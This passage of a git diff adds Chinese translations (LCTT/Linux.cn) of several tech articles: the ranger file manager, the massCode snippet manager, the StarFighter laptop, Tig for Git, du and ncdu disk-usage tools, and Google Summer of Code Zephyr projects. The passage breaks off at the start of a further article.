Vi,而且你不想因为任何原因离开你的终端,那么 ranger 就是你最好的新朋友。ranger 是一个精简的文件管理器,它不仅可以让你浏览文件,还可以预览它们。ranger 与 rifle 捆绑在一起,rifle 是一个文件执行器,可以有效地选择与特定文件类型相关的程序。 + +### 在 Linux 上安装 ranger + +ranger 可以在 Fedora 或任何基于 RPM 的发行版中安装,方法是运行: + +``` +$ sudo dnf install ranger +``` + +ranger 也可以用于 [其他发行版和 macOS][3]。 + +### 第一次使用 ranger + +作为一个用户,你可以在你喜欢的终端上简单地输入 `ranger` 来启动 ranger。可以用方向键浏览。这张截图是一个很好的例子,我可以预览存储在 `Kernel-tests` 中的 `config.example` 文件的代码。 + +![Screenshot of terminal showing config.example highlighted and a preview of the file in the terminal to the right][4] + +选中任何文件并按下 `F4` 键,就可以打开你的默认编辑器,让你立即编辑这些文件! + +### 图像和视频怎么办? + +使用 [rifle][5] 和 ranger 可以让你快速找到与某一文件相关的程序。将鼠标悬停在图片上,然后试图打开它是非常简单的,只要点击回车即可。下面是它的样子: + +![Screenshot of a PNG file preview over a terminal window][6] + +在一个图像文件上点击 `i` 会给用户提供所有的 EXIF 数据。点击 `Shift+Enter` 将打开这个 PDF 文件。 + +![A screenshot showing a preview of a PDF file (tickets to a museum) floating over the terminal window][7] + +同样的组合键将在系统默认的支持该编解码器的视频播放器中打开并开始播放视频。下面的例子是一个 mp4 视频,它在 [VLC][8] 上播放得很好。 + +![Screenshot of a Bugcrowd University Cross Site Scripting video in VLC media player, previewed over the terminal][9] + +### 文件操作 + +除非 Vim 用户另有配置,否则下面的键绑定工作良好。 + +- `j`:下移 +- `k`:上移 +- `h`: 移动到父目录 +- `gg`:移到列表的顶部 +- `i`:预览文件 +- `r`:打开文件 +- `zh`:查看隐藏文件 +- `cw`:重命名当前文件 +- `yy`:复制文件 +- `dd`:剪切文件 +- `pp`:粘贴文件 +- `u`:撤销 +- `z`:改变设置 +- `dD`:删除文件 + +### 控制台命令 + +有时我在起草文章时,有一个文件夹包含某个软件的截图。通过点击空格选择或标记文件,然后输入 `:bulkrename`,可以帮助我把所有奇怪的时间戳变成如:lorax1、lorax2 等等。下面是一个例子。 + +![Screenshot of terminal showing timestamped files that can be renamed with the bulkrename command][10] + +其他有用的控制台命令包括: + +- `:openwith`:用你选择的程序打开一个选择的文件 +- `:touch FILENAME`:创建一个文件 +- `:mkdir FILENAME`:创建一个目录 +- `:shell `:在 shell 中运行一个命令 +- `:delete`:删除文件 + +### 在 tty2/3/4 中能工作吗? + +作为一个从事质量保证(QA)工作的人,我发现搜索日志和阅读日志从未如此简单。即使我的 Gnome 显示管理器崩溃了,我也可以切换到我的 tty2,用我的用户名和密码登录,并以超级用户权限启动 ranger,然后我就可以尽情地探索了! + +ranger 是一个很好的工具,可以在不离开终端的情况下处理文件。ranger 是精简的,也是可定制的,所以不妨一试吧! + +*图片来源:(Sumantro Mukherjee,CC BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/manage-files-linux-terminal-ranger + +作者:[Sumantro Mukherjee][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sumantro +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/files_documents_organize_letter.png +[2]: https://opensource.com/tags/vim +[3]: https://opensource.com/article/20/3/ranger-file-navigator +[4]: https://opensource.com/sites/default/files/2022-06/ranger%201.png +[5]: https://www.systutorials.com/docs/linux/man/1-rifle/ +[6]: https://opensource.com/sites/default/files/2022-06/ranger%202.png +[7]: https://opensource.com/sites/default/files/2022-06/ranger%203.png +[8]: https://opensource.com/article/21/2/linux-media-players +[9]: https://opensource.com/sites/default/files/2022-06/ranger%204.png +[10]: https://opensource.com/sites/default/files/2022-06/ranger%205.png diff --git a/published/202207/20220704 massCode- A Free and Open-Source Code Snippet Manager.md b/published/202207/20220704 massCode- A Free and Open-Source Code Snippet Manager.md new file mode 100644 index 0000000000..4ac978e0aa --- /dev/null +++ b/published/202207/20220704 massCode- A Free and Open-Source Code Snippet Manager.md @@ -0,0 +1,107 @@ +[#]: subject: "massCode: A Free and Open-Source Code Snippet Manager" +[#]: via: "https://itsfoss.com/masscode/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14827-1.html" + +massCode:一个自由开源的代码片段管理器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/14/151504ti9twf2u5kft2wh2.jpg) + +> massCode 是一个开源的代码片段管理器,使你能够涉足代码,提高生产力,并节省时间。 + +如果一个工具能让事情变得更快、更有效率,那对许多开发者来说就是救命稻草。 + +虽然有各种服务和平台试图使编码体验更快,但你仍然有其他几个选择可以考虑。 + +例如,代码片段管理器。使用代码片段管理器,你的目的是保存你想快速访问的代码片段。它更像是指定快捷方式,在你的程序中添加所需的代码。 + +这不是一个新的概念,但可用于这项工作的工具可能不完全是开源的。 + +幸运的是,我偶然发现了一个不错的项目,它为你提供了一个自由开源的片段管理器,即 massCode。 + +### massCode:跨平台的开源片段管理器 + +![masscode][1] + +massCode 是一个有用的代码片段管理器,具有一些基本功能。 + +它支持广泛的编程语言,还包括对 Markdown 的支持。你可以使用文件夹组织你的代码片段,添加标签等。 + +massCode 可用于 Linux、Windows 或 macOS。让我们来看看一些主要功能。 + +### massCode 的特点 + +![masscode screenshot][2] + +massCode 包括许多有用的功能。其中一些是: + +* 多层次的文件夹结构 +* 每个片段都可以存储在片段(标签)中 +* 集成的编码编辑器 [Ace][3] +* 代码格式化或高亮显示 +* 支持带预览的 Markdown +* 能够搜索片段 +* 给你的代码段添加描述,以了解它的用途 +* 各种深色/浅色主题可用 +* 能够从 [SnippetsLab][4] 迁移 +* 自动保存以帮助你保留你的工作 +* 将其与云同步文件夹整合 +* 支持 VSCode、Raycast 和 Alfred 的扩展 + +除了上述所有功能外,你还可以轻松地复制保存代码片段,只需点击一下。 + +对于自定义,你可以调整字体大小和系列、切换自动换行、高亮显示行、使用单引号或添加尾随命令,这要归功于 [Prettier][5]。 + +此外,一份片段可以有多个分片。因此,它使你有机会将其用于各种用例。 + +如前所述,你也可以通过改变同步文件夹的存储位置将其与你的任何云同步服务整合。 + +![masscode migrate preferences][6] + +总的来说,它工作得很好,有一些局限性,比如缺乏将嵌套文件夹从 SnippetsLab 迁移到 masCode 的能力。 + +### 在 Linux 上安装 massCode + +massCode 有 [Snap 包][7],但不在 Snap 商店中。你可以直接下载该软件包,并使用以下命令来安装它: + +``` +sudo snap install --dangerous ~/Downloads/masscode_2.6.1_amd64.snap +``` + +我们的一份故障排除指南可以帮助你了解 [snap 的 dangerous 选项][8]。 + +你可以通过其 [官方网站][9] 或 [GitHub 发布区][10] 下载 Windows/MacOS 版。 + +> **[massCode][11]** + +你试过 massCode 吗?还有其他可用于 Linux 的代码片段管理器吗?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/masscode/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/07/masscode-screenshot-1.png +[2]: https://itsfoss.com/wp-content/uploads/2022/07/masscode-screenshot.png +[3]: https://github.com/ajaxorg/ace +[4]: https://apps.apple.com/us/app/snippetslab/id1006087419?mt=12 +[5]: https://prettier.io/ +[6]: https://itsfoss.com/wp-content/uploads/2022/07/masscode-migrate-preferences.jpg +[7]: https://itsfoss.com/install-snap-linux/ +[8]: https://itsfoss.com/snap-metadata-signature-error/ +[9]: https://masscode.io/ +[10]: https://github.com/massCodeIO/massCode/releases/tag/v2.6.1 +[11]: https://masscode.io/ diff --git a/published/202207/20220705 StarFighter- A Linux Laptop with a 4K 10-bit IPS Display is Coming Soon.md b/published/202207/20220705 StarFighter- A Linux Laptop with a 4K 10-bit IPS Display is Coming Soon.md new file mode 100644 index 0000000000..16800310e3 --- /dev/null +++ b/published/202207/20220705 StarFighter- A Linux Laptop with a 4K 10-bit IPS Display is Coming Soon.md @@ -0,0 +1,69 @@ +[#]: subject: "StarFighter: A Linux Laptop with a 4K 10-bit IPS Display is Coming Soon" +[#]: via: "https://news.itsfoss.com/starfighter-laptop-reveal/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14798-1.html" + +星际战机:配备 4K 10 位 IPS 显示屏的 Linux 笔记本电脑即将问世 +====== + +> “星际战机”是星空实验室即将推出的一款 Linux 笔记本电脑。他们正在最后确定生产细节,同时透露了一些关键的亮点。 + +![starfighter][1] + +我们已经有许多来自星空实验室、TUXEDO 等制造商的 Linux 专用笔记本电脑。 + +然而,其中只有少数几家专注于提供一个超棒的显示屏。 + +例如,[TUXEDO 的 Infinitybook Pro 14][2] 带有 3K 显示屏,而且,该笔记本电脑确实不错。 + +现在,看起来 [星空实验室][3] 将为其即将推出的 “星际战机” 笔记本电脑配备 15.6 英寸 4K 显示屏。他们在 [推特][4] 上分享了初步信息,提到他们正在敲定生产细节。 + +### 关于星际战机我们目前所知道的情况 + +这款笔记本电脑将采用 45W 供电的英特尔 / AMD 处理器,它将有英特尔 / AMD 两种变体可用。 + +你还将可以选择高达 64GB 的内存和 2TB 的存储。可以说,对于那些想为自己的 Linux 笔记本电脑提高规格的用户来说,这应该是一个强大的机器。 + +当然,它的关键亮点是显示屏。它将采用 4K 10 位哑光 IPS 显示屏。 + +该公司提到,该显示屏的成本要高于其 StarLite 笔记本电脑。 + +但是,这会是一个有吸引力的产品吗?许多采用高分辨率显示屏或 OLED 面板的笔记本电脑在电池时长方面表现不佳。不仅仅是 Linux 笔记本电脑。 + +那么,“星际战机”会成为该领域的一个有竞争力的竞争者吗? + +星空实验室在一条推文中提到,他们估计电池时长约为 8-14 小时,这取决于配置。当然,这也取决于你的使用情况。 + +该公司还澄清说,这款笔记本电脑可以使用 Coreboot,但它不会是一个完全采用自由软件的项目。其他一些值得注意的地方还有: + +* 该笔记本电脑将具有 [LVFS][5] 支持。 +* 英特尔型号将提供第 4 代固态硬盘。AMD 型号将只限于第 3 代固态硬盘。 + +如图片所示,它可能安装了 elementaryOS 6.1。然而,你也可以预期它提供 Ubuntu 22.04 LTS。 + +那么,你对星空实验室的这架“星际战机”有何看法?当它上市时,这将是你的下一台笔记本电脑吗? + +在下面的评论区分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/starfighter-laptop-reveal/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/starfighter-linux-powered-laptop.jpg +[2]: https://news.itsfoss.com/infinitybook-pro-14-3k/ +[3]: http://starlabs.systems +[4]: https://twitter.com/starlabsltd/status/1542908391793692672 +[5]: https://fwupd.org/ diff --git a/published/202207/20220705 Why I love Tig for visualizing my Git workflows.md b/published/202207/20220705 Why I love Tig for visualizing my Git workflows.md new file mode 100644 index 0000000000..d6d8b25fe3 --- /dev/null +++ b/published/202207/20220705 Why I love Tig for visualizing my Git workflows.md @@ -0,0 +1,96 @@ +[#]: subject: "Why I love Tig for visualizing my Git workflows" +[#]: via: "https://opensource.com/article/22/7/visualize-git-workflow-tig" +[#]: author: "Sumantro Mukherjee https://opensource.com/users/sumantro" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14809-1.html" + +使用 Tig 来可视化 Git 工作流 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/09/123419u39t3jz9gzc6345t.jpg) + +> Tig 是审查 Git 仓库的绝佳工具,它鼓励你探索日志,而无需构建冗长且有时复杂的查询。 + +如果你发现浏览你的 Git 仓库非常复杂,我已经为你准备好了工具,来了解一下 Tig。 + +Tig 是一个 [基于 ncurses][2] 的 Git 文本模式界面,它允许你浏览 Git 仓库中的更改。它还可以充当各种 Git 命令输出的分页器。使用这个工具可以让我很好地了解在哪个提交中发生了哪些更改,最新的提交合并是什么等等。请跟随这个简短的教程,亲自尝试一下。 + +### 安装 Tig + +在 Linux 上,你可以使用包管理器安装 Tig。例如,在 Fedora 和 Mageia 上: + +``` +$ sudo dnf install tig +``` + +在 Debian、Linux Mint、Elementary、Pop_OS 和其他基于 Debian 的发行版上: + +``` +$ sud apt install tig +``` + +在 macOS 上,使用 [MacPorts][3] 或 [Homebrew][4]。 Tig 的完整安装指南可在 [Tig 手册][5] 中找到。 + +### 使用 Tig + +Tig 提供了常见 Git 输出的交互式视图。例如,使用 Git,你可以使用命令 `git show-ref` 查看所有引用: + +``` +$ git show-ref +98b108... refs/heads/master +6dae95... refs/remotes/origin/1010-internal-share-partition-format-reflexion +84e1f8... refs/remotes/origin/1015-add-libretro-openlara +e62c7c... refs/remotes/origin/1016-add-support-for-retroarch-project-cd +1c29a8... refs/remotes/origin/1066-add-libretro-mess +ffd3f53... refs/remotes/origin/1155-automatically-generate-assets-for-external-installers +ab4d14... refs/remotes/origin/1160-release-on-bare-metal-servers +28baa9... refs/remotes/origin/1180-ipega-pg-9118 +8dff1d... refs/remotes/origin/1181-add-libretro-dosbox-core-s +81a7fe... refs/remotes/origin/1189-allow-manual-build-on-master +[...] +``` + +使用 Tig,你可以在可滚动列表中获取该信息以及更多信息,此外还可以使用键盘快捷键来打开其他视图,其中包含每个引用的详细信息。 + +![][6] + +### 分页模式 + +当输入来自标准输入时,Tig 进入分页模式。当指定 `show` 子命令并给出 `--stdin` 选项时,标准输入被假定为提交 ID 列表,它被转发到 `git-show` : + +``` +$ git rev-list --author=sumantrom HEAD | tig show –stdin +``` + +### 日志和差异视图 + +当你在 Tig 的日志视图中时,你可以按键盘上的 `d` 键来显示差异。这将显示提交中更改的文件以及删除和添加的行。 + +### 交互式 Git 数据 + +Tig 是对 Git 的一个很好的补充。它鼓励你探索日志,而无需构建冗长且有时复杂的查询,从而可以轻松查看你的 Git 仓库。 + +立即将 Tig 添加到你的 Git 工具包中! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/visualize-git-workflow-tig + +作者:[Sumantro Mukherjee][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sumantro +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/images/life/computer_code_programming_laptop_0.jpg +[2]: https://opensource.com/article/21/8/ncurses-linux +[3]: https://opensource.com/article/20/11/macports +[4]: https://opensource.com/article/20/6/homebrew-mac +[5]: https://jonas.github.io/tig/doc/manual.html +[6]: https://opensource.com/sites/default/files/2022-06/tig%201.png diff --git a/published/202207/20220707 Check disk usage in Linux.md b/published/202207/20220707 Check disk usage in Linux.md new file mode 100644 index 0000000000..c4448c158c --- /dev/null +++ b/published/202207/20220707 Check disk usage in Linux.md @@ -0,0 +1,140 @@ +[#]: subject: "Check disk usage in Linux" +[#]: via: "https://opensource.com/article/22/7/check-disk-usage-linux" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14823-1.html" + +检查 Linux 磁盘使用情况 +====== + +> du 和 ncdu 两个命令提供了相同信息的两种不同视图,便于我们跟踪存储在计算机上的内容。 + +![](https://img.linux.net.cn/data/attachment/album/202207/13/111729faleyal2gmappykc.jpg) + +无论你有多少存储空间,了解文件占用了多少磁盘空间都是一个重要的考虑事项。我的笔记本有一个相对较小的 250GB NVME 驱动器,大多数时候都没什么问题,但几年前我开始探索 Linux 上的游戏,情况变得有所不同,安装 Steam 和其他游戏使存储管理更加重要。 + +### du 命令 + +检查磁盘驱动器上剩余存储空间最简单的方法是 [du 命令][2]。它会估计文件空间使用情况,像其他所有 Linux 工具一样,`du` 非常强大,但学会如何根据你的特定需求使用它会很有帮助。我总是查阅手册页来掌握实用程序的用法。`du` 有几个选项,可以为你提供文件存储的最佳快照,以及它们在系统上消耗多少空间。 + +`du` 命令有很多选项,以下是一些常见的: + +* `-a` - 包括文件夹和文件在内的存储信息 +* `--apparent-size` - 打印自身大小而不是占用磁盘量 +* `-h` - 人类可读的格式 +* `-b` - 以字节为单位 +* `-c` - 总计 +* `-k` - 以块为单位 +* `-m` - 以兆字节为单位的大小 + +务必查看 `du` 手册页获取完整帮助列表。 + +#### 显示所有文件 + +你可以选择的第一个选项是 `du -a`,它可以显示系统上所有文件及其存储目录的大小。这个命令让我知道了我的主目录中存储了 11555168 个字节。使用 `du -a` 可以快速递归地查看我的存储系统。如果我想要一个更有意义的数字,并且我想深入到目录中查看大文件的位置,该怎么办? + +我认为在 `Downloads` 目录下有一些大文件,所以我输入 `du -a /home/don/Downloads` 来查看。 + +``` +$ du -a ~/Downloads +4923    ./UNIX_Driver_5-0/UNIX Driver 50 +4923    ./UNIX_Driver_5-0 +20     ./epel-release-latest-9.noarch.rpm +12     ./rpmfusion-free-release-9.noarch.rpm +2256    ./PZO9297 000 Cover.pdf +8     ./pc.md +2644    ./geckodriver-v0.31.0-linux64.tar.gz +466468 +``` + +最左边的数字是以字节为单位的文件大小。我想要一些对我更有帮助的东西,所以我将人类可读格式的选项添加到命令中,结果是 456M(兆字节),这对我来说是一种更有用的数字格式。 + +``` +$ du -ah ~/Downloads +4.9M    ./UNIX_Driver_5-0/UNIX Driver 50 +4.9M    ./UNIX_Driver_5-0 +20K    ./epel-release-latest-9.noarch.rpm +12K    ./rpmfusion-free-release-9.noarch.rpm +2.2M    ./PZO9297 000 Cover.pdf +8.0K    ./pc.md +2.6M    ./geckodriver-v0.31.0-linux64.tar.gz +456M    . +``` + +与大多数 Linux 命令一样,你可以组合选项,要以人类可读的格式查看 `Downloads` 目录,使用 `du -ah ~/Downloads` 命令。 + +#### 总和 + +`-c` 选项在最后一行提供了磁盘使用总和。我可以使用 `du -ch /home/don` 来显示主目录中的每个文件和目录。这里有很多信息,我只想知道最后一行的信息,所以我将 `du` 命令通过管道传输给 `tail` 来显示最后几行。命令是 `du -ch /home/don | tail`。(LCTT 校注:可以使用 `tail -1` 来仅显示最后一行汇总行。) + +![将 du 命令输出通过管道传输到 tail][4] + +### ncdu 命令 + +对存储在驱动器上内容感兴趣的 Linux 用户,另一个选择是 [ncdu 命令][5],它代表 “NCurses 磁盘使用情况”。基于你的 Linux 发行版,你可能需要下载并安装它。 + +在 Linux Mint、Elementary、Pop_OS! 或其它基于 Debian 的发行版上: + +``` +$ sudo apt install ncdu +``` + +在 Fedora、Mageia 或 CentOS 上: + +``` +$ sudo dnf install ncdu +``` + +在 Arch、Manjar 或者类似发行版上: + +``` +$ sudo pacman -S ncdu +``` + +安装后,你可以使用 `ncdu` 来分析你的文件系统。以下是在我的主目录中发出 `ncdu` 后的示例输出。`ncdu` 的手册页指出 “ncdu(NCurses Disk Usage)是众所周知的 `du` 基于 curses 的版本,它提供了一种快速查看哪些目录正在使用磁盘空间的方法。” + +![du 命令输出][6] + +我可以使用方向键上下导航,按下回车键进入目录。有趣的是,`du` 报告我的主目录中的总磁盘使用量为 12GB,而 `ncdu` 显示为 11GB。你可以在 `ncdu` 手册页中找到更多信息。 + +你可以将 `ncdu` 指向某个目录来探索特定目录。例如,`ncdu /home/don/Downloads`。 + +![ncdu 命令输出][7] + +按 `?` 键显示帮助菜单。 + +![ncdu 帮助][8] + +### 总结 + +`du` 和 `ncdu` 两个命令提供了相同信息的两种不同视图,便于我们跟踪存储在计算机上的内容。 + +如果你不习惯使用终端,或者想寻找此类信息的另一种查看方式,可以看看 [GNOME 磁盘使用分析器][9]。如果你的系统上还没有它,你可以轻松安装和使用它。检查你的发行版是否有 baobab 开发的这个软件,如果你想试试,那就去安装它吧。 + +(文内图片来自于 Don Watkins, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/check-disk-usage-linux + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/data_stack_blue_disks.png +[2]: https://opensource.com/article/21/7/check-disk-space-linux-du +[3]: https://opensource.com/article/18/7/how-check-free-disk-space-linux +[4]: https://opensource.com/sites/default/files/2022-06/1-du-tail.png +[5]: https://opensource.com/article/21/8/ncdu-check-free-disk-space-linux +[6]: https://opensource.com/sites/default/files/2022-06/2home.png +[7]: https://opensource.com/sites/default/files/2022-06/3downloads.png +[8]: https://opensource.com/sites/default/files/2022-06/4ncdu.png +[9]: https://help.gnome.org/users/baobab/stable/ diff --git a/published/202207/20220707 Google Summer of Code + Zephyr RTOS.md b/published/202207/20220707 Google Summer of Code + Zephyr RTOS.md new file mode 100644 index 0000000000..2484e74048 --- /dev/null +++ b/published/202207/20220707 Google Summer of Code + Zephyr RTOS.md @@ -0,0 +1,140 @@ +[#]: subject: "Google Summer of Code + Zephyr RTOS" +[#]: via: "https://www.linux.com/news/google-summer-of-code-zephyr-rtos/" +[#]: author: "The Linux Foundation https://www.linuxfoundation.org/blog/google-summer-of-code-zephyr-rtos/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14818-1.html" + +谷歌编程之夏与 Zephyr RTOS 项目介绍 +====== + +**谷歌编程之夏**(GSoC)是一个谷歌举办的国际年度项目,每年都在夏季举办。当贡献者们参与并完成一个 [自由开源软件][3] 的编码项目,[谷歌][1] 就会给他们发放 [津贴][2]。谷歌编程之夏于 2005 年推出,于每年 5 月至 8 月举行。项目创意由参与开源软件开发的主办组织提交,但学生也可以提出自己的项目创意。 + +今年,该项目向 18 岁或以上的任何人开放 —— 不仅限于学生和应届毕业生了。参与者通过编写软件获得报酬,其 [津贴][4] 的金额取决于他们所在国家/地区的 [购买力平价][5]。 + +**LCTT 译注:以往,这个活动只允许在校学生参与,今年条件放开,只需年龄 18+ 即可,对参与者的贡献时长要求也降低了,尽可能地让更多人参与进来。不过,今年的报名通道在 4 月 19 日就截止了,大家有兴趣的话明年可以关注一下。** + +这也是 Zephyr 项目第一次作为 Linux 基金会的项目,参与到谷歌编程之夏中。让我们一起欢迎这些贡献者及其项目吧! + +### 项目一:基于 Zephyr 的 Arduino 模块 + +1 个贡献者(350 小时)。 + +[Arduino][6] 是一个流行的框架,它为嵌入式设备编程提供了一个简化的接口。最近,Arduino 采用 mbed OS 作为其一些新设备的基础 RTOS。通过这项工作,他们将 [Arduino Core][7] 作为独立的抽象层,从 [Arduino Core for mbed][8] 中分离出来。这为在其他操作系统上利用 Arduino Core 开辟了可能性。 + +该项目的想法就是创建一个利用 Arduino Core 的 Zephyr 模块,以便开发人员在与 Arduino 兼容的设备上使用 Arduino 框架时,可以使用 Zephyr 作为底层操作系统。对用户的好处包括: + +* 可以访问 Arduino API 以及高级 Zephyr 功能 +* 得益于 Zephyrs 的设备支持,用户可以选择标准 Arduino 生态系统更广泛的设备 +* 能够重复使用 Arduino 工具,如 Arduino IDE 和丰富的库 + +Arduino Core 使用 LGPL 许可证,Zephyr 使用 Apache 2 许可证。这意味着该项目的开发很可能需要脱离主分支,并在单独的仓库中进行,以保持代码和许可证分离。有关这方面的历史讨论,请参阅 [#22247][9],有关 Arduino 核心架构之前的早期尝试,请参阅 [soburi/arduino-on-zephyr][10]。 + +**贡献者的任务是:** + +* 实现一个基于 Arduino Core 的准系统模块,可以为任何目标编译(不具备功能性,可能在 QEMU 中) +* 基于 Zephyr,使用 Arduino API 实现一个通用外围设备,例如 [Serial][11] +* 以一个物理板为目标,例如 Arduino Zero + +**导师:** + +[Jonathan Beri][12] – Golioth 和 Zephyr TSC 的首席执行官 +[Alvaro Viebrantz][13] – Golioth 和 Google GDE 的创始工程师 + +**代码许可证:** LGPL + +**贡献者详细信息:** + +* 姓名:Dhruva Gole +* 项目博客:[https://dhruvag2000.github.io/Blog-GSoC22/][14] +* 项目海报: + +![][15] + +**关于贡献者:** + +![][16] + +Dhruva 是一名电气工程专业的本科生。他的兴趣广泛,从嵌入式软件开发到硬件设计,在 SBC、微控制器和嵌入式 Linux 平台方面拥有丰富的工作经验。 + +### 项目二:Zephyr 的 Apache Thrift 模块 + +一个贡献者(350 小时)。 + +[Apache Thrift][17] 是一个 [IDL][18] 规范、[RPC][19] 框架和代码生成器,它抽象出传输和协议细节,让开发者专注于应用逻辑。它适用于所有主流操作系统,支持超过 27 种编程语言、7 种协议和 6 种底层传输方式。最初,它于 [2007 年在 Facebook 开发][20],随后与 Apache 软件基金会共享。 + +![][21] + +![][22] + +在 Zephyr RTOS 中支持 Thrift 将使社区受益匪浅。它将带来新的软件和硬件技术、新产品以及云集成的其他方式。 Thrift 也可以用于几乎任何传输,因此,它是 Zephyr 支持的许多不同物理通信层的自然选择。该项目的想法是使概念验证 [Thrift for Zephyr 模块][23] 形成以供上游使用。为此,贡献者必须: + +* 对 Thrift 功能(协议、传输)执行额外的集成 +* 使用 [supported board][24] 或 [Qemu][25] 编写其他示例应用程序 +* 使用 [Zephyr 测试框架][26] 编写其他测试并生成覆盖率报告 +* 确保模块遵循适当的 [编码指南][27] 并满足 [模块要求][28] +* 将任何必要的改进贡献回 Apache Thrift 项目 +* 将任何必要的改进贡献回 Zephyr 项目 + +**导师:** + +* [Christopher Friedt][29] – Meta 的 SWE / ASIC FW 和 Zephyr TSC 成员 +* [Stephanos Ioannidis][30] – Zephyr CXX 子系统维护者 + +**代码许可证:** Apache 2.0 + +**贡献者详细信息:** + +* 姓名:Young + +**关于贡献者:** Young 是一名通信工程专业的学生,他将攻读计算机工程硕士学位。他兴趣广泛,从前端开发到硬件设计,在 Web、IoT 和嵌入式平台方面拥有丰富的工作经验。2021 年他设计的一款搭载 RISC-V 64 处理器的低成本单板机被多家极客媒体报道。 + +本文 [Google Summer of Code + Zephyr RTOS][31] 首发于 [Linux 基金会][32]。 + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/news/google-summer-of-code-zephyr-rtos/ + +作者:[The Linux Foundation][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxfoundation.org/blog/google-summer-of-code-zephyr-rtos/ +[b]: https://github.com/lkxed +[1]: https://en.wikipedia.org/wiki/Google +[2]: https://en.wikipedia.org/wiki/Stipend +[3]: https://en.wikipedia.org/wiki/Free_and_open-source_software +[4]: https://en.wikipedia.org/wiki/Stipend +[5]: https://en.wikipedia.org/wiki/Purchasing_power_parity +[6]: https://www.arduino.cc/ +[7]: https://github.com/arduino/ArduinoCore-API +[8]: https://github.com/arduino/ArduinoCore-mbed +[9]: https://github.com/zephyrproject-rtos/zephyr/issues/22247 +[10]: https://github.com/soburi/arduino-on-zephyr +[11]: https://www.arduino.cc/reference/en/language/functions/communication/serial/ +[12]: https://www.linkedin.com/in/jonathanberi/ +[13]: https://www.linkedin.com/in/alvaro-viebrantz-55119048/ +[14]: https://dhruvag2000.github.io/Blog-GSoC22/ +[15]: https://www.linuxfoundation.org/wp-content/uploads/project-poster.png +[16]: https://www.linuxfoundation.org/wp-content/uploads/dhruva.jpeg +[17]: https://github.com/apache/thrift +[18]: https://en.wikipedia.org/wiki/Interface_description_language +[19]: https://en.wikipedia.org/wiki/Remote_procedure_call +[20]: https://thrift.apache.org/static/files/thrift-20070401.pdf +[21]: https://www.linuxfoundation.org/wp-content/uploads/apache-thrift-layered-architecture.png +[22]: https://www.linuxfoundation.org/wp-content/uploads/SPDX-license.png +[23]: https://github.com/cfriedt/thrift-for-zephyr +[24]: https://docs.zephyrproject.org/latest/boards/index.html +[25]: https://docs.zephyrproject.org/latest/guides/networking/qemu_user_setup.html +[26]: https://docs.zephyrproject.org/latest/guides/test/ztest.html +[27]: https://docs.zephyrproject.org/latest/contribute/coding_guidelines/index.html +[28]: https://docs.zephyrproject.org/latest/guides/modules.html +[29]: https://www.linkedin.com/in/christopher-friedt/ +[30]: https://www.linkedin.com/in/stephanosio/ +[31]: https://www.linuxfoundation.org/blog/google-summer-of-code-zephyr-rtos/ +[32]: https://www.linuxfoundation.org/ diff --git a/published/202207/20220707 More Linux Developers Joining Microsoft, Systemd Creator Adds to the List.md b/published/202207/20220707 More Linux Developers Joining Microsoft, Systemd Creator Adds to the List.md new file mode 100644 index 0000000000..85c5366a8d --- /dev/null +++ b/published/202207/20220707 More Linux Developers Joining Microsoft, Systemd 